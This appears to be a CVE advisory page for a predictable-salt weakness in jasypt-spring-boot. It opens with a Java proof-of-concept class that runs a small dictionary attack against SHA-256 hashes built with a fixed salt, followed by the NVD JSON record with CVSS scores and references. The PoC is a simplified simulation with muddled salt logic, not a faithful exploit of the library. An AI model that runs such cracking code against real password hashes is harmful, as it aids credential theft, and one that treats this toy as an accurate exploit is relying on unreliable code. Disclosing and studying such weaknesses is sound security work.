CVE-2026-9370

// CVE-2026-9370 PoC - Predictable Salt in jasypt-spring-boot // This PoC demonstrates the predictable salt vulnerability import javax.crypto.Mac; import javax.crypto.spec.SecretKeySpec; import java.security.MessageDigest; public class CVE20269370_PoC { // Simulating the vulnerable predictable salt generation public static byte[] getPredictableSalt(String password, byte[] knownSalt) { // This is a simplified demonstration // In real attack, attacker analyzes SimpleGCMConfig.getSecretKeySaltGenerator() try { // Predictable salt generation - vulnerability root cause MessageDigest md = MessageDigest.getInstance("SHA-256"); md.update(knownSalt); // Using known/fixed salt return md.digest(password.getBytes()); } catch (Exception e) { return null; } } public static void attackWithPredictableSalt(String targetPassword, byte[] interceptedHash) { // Since salt is predictable, attacker can precompute hashes String[] commonPasswords = {"password", "admin", "123456", "welcome"}; for (String pwd : commonPasswords) { byte[] salt = getPredictableSalt(pwd, new byte[]{1, 2, 3}); byte[] hash = computeHash(pwd, salt); if (MessageDigest.isEqual(hash, interceptedHash)) { System.out.println("[!] Password found: " + pwd); return; } } System.out.println("[-] Password not in dictionary"); } private static byte[] computeHash(String password, byte[] salt) { try { MessageDigest md = MessageDigest.getInstance("SHA-256"); md.update(salt); return md.digest(password.getBytes()); } catch (Exception e) { return null; } } }

{"cve": {"id": "CVE-2026-9370", "sourceIdentifier": "[email protected]", "published": "2026-05-24T10:16:15.537", "lastModified": "2026-05-26T19:54:40.357", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in ulisesbocchio jasypt-spring-boot up to 3.0.5/4.0.4. Affected by this vulnerability is the function getSecretKeySaltGenerator of the file jasypt-spring-boot/src/main/java/com/ulisesbocchio/jasyptspringboot/encryptor/SimpleGCMConfig.java of the component Password Hash Handler. Executing a manipulation can lead to use of a one-way hash with a predictable salt. The attack can be launched remotely. The attack requires a high level of complexity. The exploitation appears to be difficult. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "baseScore": 2.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 4.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-759"}, {"lang": "en", "value": "CWE-760"}]}], "references": [{"url": "https://github.com/dntyfate/cve/issues/3", "source": "[email protected]"}, {"url": "https://github.com/ulisesbocchio/jasypt-spring-boot/", "source": "[email protected]"}, {"url": "https://github.com/ulisesbocchio/jasypt-spring-boot/issues/431", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/813198", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365333", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365333/cti", "source": "[email protected]"}]}}